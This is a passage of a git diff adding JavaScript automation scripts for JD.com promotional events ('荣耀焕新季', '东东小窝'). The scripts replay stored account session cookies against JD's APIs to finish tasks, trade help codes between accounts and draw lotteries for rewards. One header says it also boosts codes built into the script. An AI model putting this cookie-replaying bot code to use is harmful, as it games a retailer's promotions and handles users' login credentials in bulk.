s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_ryhxj.js b/backUp/jd_ryhxj.js new file mode 100644 index 0000000..2eaebde --- /dev/null +++ b/backUp/jd_ryhxj.js @@ -0,0 +1,389 @@ +/* + +0 1 * * * jd_ryhxj.js, tag= 荣耀焕新季 +*/ + +const $ = new Env('荣耀焕新季') +const notify = $.isNode() ?require('./sendNotify') : ''; +cookiesArr = [] +CodeArr = [] +cookie = '' +var list2tokenArr = [],list4tokenArr = [],list6tokenArr = [],list7tokenArr = [],list8tokenArr = [],list9tokenArr = [],list11tokenArr = [],list12tokenArr = [],listtokenArr = [] +var taskid,token,helpcode; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +let tz = ($.getval('tz') || '1');//0关闭通知,1默认开启 +const invite=1;//新用户自动邀请,0关闭,1默认开启 +const logs =0;//0为关闭日志,1为开启 +var hour='' +var minute='' +if ($.isNode()) { + hour = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getHours(); + minute = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getMinutes(); +}else{ + hour = (new Date()).getHours(); + minute = (new Date()).getMinutes(); +} +//CK运行 +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for(let i = 0; i < cookiesArr.length; i++){ + cookie = cookiesArr[i]; + await gethelpcode() + +} + for (let i =0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + message = '' + $.isLogin = true; + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await getlist() + await Ariszy() + await control() + await zy() + await userScore() + await Lottery() + } + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +function PostRequest(uri,body) { + const url = `https://api.m.jd.com/client.action`; + const method = `POST`; + const headers = {"Accept": "application/json, text/plain, */*", +"Accept-Encoding": "gzip, deflate, br", +"Accept-Language": "zh-cn", +"Connection": "keep-alive", +"Content-Type": "application/x-www-form-urlencoded", +"Cookie": cookie, +"Host": "api.m.jd.com", +"User-Agent": "jdapp;iPhone;10.0.6;14.4;0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849;network/4g;model/iPhone12,1;addressid/2377723269;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" +} + return {url: url, method: method, headers: headers, body: body}; +} + +async function doTask(){ + const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYwqc%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A1%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + console.log("\n"+result.data.bizMsg+"\n") + await $.wait(6000) + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function DoTask(){ + const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYwqc%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") + await $.wait(4000) + }else{ + console.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function Lottery(){ + const body = `functionId=healthyDay_getLotteryResult&body=%7B%22appId%22%3A%221E1NYwqc%22%2C%22taskId%22%3A2%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") + await $.wait(4000) + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function getLottery(){ + const body = `functionId=interact_template_getLotteryResult&body=%7B%22appId%22%3A%221E1NYwqc%22%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") + await $.wait(4000) + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function Ariszy(){ + for(let j = 0; j < listtokenArr.length; j++){ + token = list2tokenArr[j] + taskid = listtokenArr[j].match(/\d+/) + $.log("TaskId:"+taskid) + $.log("Token:"+token) + await doTask() + await DoTask() + } + +} +async function zy(){ + listtokenArr.splice(0,listtokenArr.length); + list2tokenArr.splice(0,list2tokenArr.length); +} +async function control(){ + for(let i = 0; i < list6tokenArr.length; i++){ + helpcode = list6tokenArr[i] + await dosupport() + await $.wait(4000) +} +} +async function dosupport(){ + const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1NYwqc%22%2C%22taskToken%22%3A%22${helpcode}%22%2C%22taskId%22%3A12%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` + const MyRequest = PostRequest(``,body) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.data.bizCode == 0){ + console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") + await $.wait(4000) + }else{ + console.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +async function getlist(){ + const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYwqc","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + console.log("查看任务列表\n") + let list2 = result.data.result.taskVos.find(item => item.taskId == 2) + for(let i = 0; i < list2.productInfoVos.length; i ++){ + listtokenArr.push(2+list2.productInfoVos[i].taskToken) +list2tokenArr.push(list2.productInfoVos[i].taskToken) + } + + let list4 = result.data.result.taskVos.find(item => item.taskId == 4) + for(let i = 0; i < list4.productInfoVos.length; i ++){ + listtokenArr.push(4+list4.productInfoVos[i].taskToken) +list2tokenArr.push(list4.productInfoVos[i].taskToken) + } + + let list6 = result.data.result.taskVos.find(item => item.taskId == 6) + for(let i = 0; i < list6.productInfoVos.length; i ++){ + listtokenArr.push(6+list6.productInfoVos[i].taskToken) +list2tokenArr.push(list6.productInfoVos[i].taskToken) + } + + let list7 = result.data.result.taskVos.find(item => item.taskId == 7) + for(let i = 0; i < list7.shoppingActivityVos.length; i ++){ + listtokenArr.push(7+list7.shoppingActivityVos[i].taskToken) +list2tokenArr.push(list7.shoppingActivityVos[i].taskToken) + } + + let list8 = result.data.result.taskVos.find(item => item.taskId == 8) + listtokenArr.push(8+list8.simpleRecordInfoVo.taskToken) +list2tokenArr.push(list8.simpleRecordInfoVo.taskToken) + + let list11 = result.data.result.taskVos.find(item => item.taskId == 11) + for(let i = 0; i < list11.followShopVo.length; i ++){ + listtokenArr.push(11+list11.followShopVo[i].taskToken) +list2tokenArr.push(list11.followShopVo[i].taskToken) + } + // $.log(JSON.stringify(listtokenArr)) + + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } + +async function gethelpcode(){ + const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYwqc","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + +let list12 = result.data.result.taskVos.find(item => item.taskId == 12) + list4tokenArr.push(12+list12.assistTaskDetailVo.taskToken) +list6tokenArr.push(list12.assistTaskDetailVo.taskToken) + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } + +async function userScore(){ + const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1NYwqc","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) + return new Promise((resolve) => { + $.post(MyRequest,async(error, response, data) =>{ + try{ + const result = JSON.parse(data) + if(logs)$.log(data) + if(result.code == 0){ + let userScore = result.data.result.userInfo.userScore + $.log("共有荣耀值:"+userScore+";开始抽奖"+Math.floor(userScore/500)+"次") + for(let i = 0; i < Math.floor(userScore/500); i++){ + await getLottery() + } + }else{ + $.log(result.data.bizMsg+"\n") + } + }catch(e) { + $.logErr(e, response); + } finally { + resolve(); + } + }) + }) + } +//showmsg +//boxjs设置tz=1,在12点<=20和23点>=40时间段通知,其余时间打印日志 + +async function showmsg() { + if (tz == 1) { + if ($.isNode()) { + if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { + await notify.sendNotify($.name, message) + } else { + $.log(message) + } + } else { + if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { + $.msg(zhiyi, '', message) + } else { + $.log(message) + } + } + } else { + $.log(message) + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); + return []; + } + } +} +Array.prototype.distinct = function (){ + var arr = this, + result = [], + len = arr.length; + arr.forEach(function(v, i ,arr){ //这里利用map,filter方法也可以实现 + var bool = arr.indexOf(v,i+1); //从传入参数的下一个索引值开始寻找是否存在重复 + if(bool === -1){ + result.push(v); + } + }) + return result; +}; +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_small_home.js b/backUp/jd_small_home.js new file mode 100644 index 0000000..67a9bad --- /dev/null +++ b/backUp/jd_small_home.js @@ -0,0 +1,916 @@ +/* +东东小窝 jd_small_home.js +Last Modified time: 2021-1-22 14:27:20 +现有功能: +做日常任务任务,每日抽奖(有机会活动京豆,使用的是免费机会,不消耗WO币) +自动使用WO币购买装饰品可以获得京豆,分别可获得5,20,50,100,200,400,700,1200京豆) + +注:目前使用此脚本会给脚本内置的两个码进行助力,请知晓 + +活动入口:京东APP我的-游戏与更多-东东小窝 +或 京东APP首页-搜索 玩一玩-DIY理想家 +微信小程序入口: +来客有礼 - > 首页 -> 东东小窝 +网页入口(注:进入后不能再此刷新,否则会有问题,需重新输入此链接进入) +https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +===============Quantumultx=============== +[task_local] +#东东小窝 +16 22 * * * jd_small_home.js, tag=东东小窝, img-url=https://raw.githubusercontent.com/58xinian/icon/master/ddxw.png, enabled=true + +================Loon============== +[Script] +cron "16 22 * * *" script-path=jd_small_home.js, tag=东东小窝 + +===============Surge================= +东东小窝 = type=cron,cronexp="16 22 * * *",wake-system=1,timeout=3600,script-path=jd_small_home.js + +============小火箭========= +东东小窝 = type=cron,script-path=jd_small_home.js, cronexpr="16 22 * * *", timeout=3600, enable=true + */ +const $ = new Env('东东小窝'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = ''; +let isPurchaseShops = false;//是否一键加购商品到购物车,默认不加购 +$.helpToken = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.newShareCodes = []; +const JD_API_HOST = 'https://lkyl.dianpusoft.cn/api'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await smallHome(); + } + } + await updateInviteCodeCDN('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateSmallHomeInviteCode.json'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.token = $.helpToken[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ($.newShareCodes.length > 1) { + console.log('----', (i + 1) % $.newShareCodes.length) + let code = $.newShareCodes[(i + 1) % $.newShareCodes.length]['code'] + console.log(`\n${$.UserName} 去给自己的下一账号 ${decodeURIComponent($.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/) && $.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/)[1])}助力,助力码为 ${code}\n`) + await 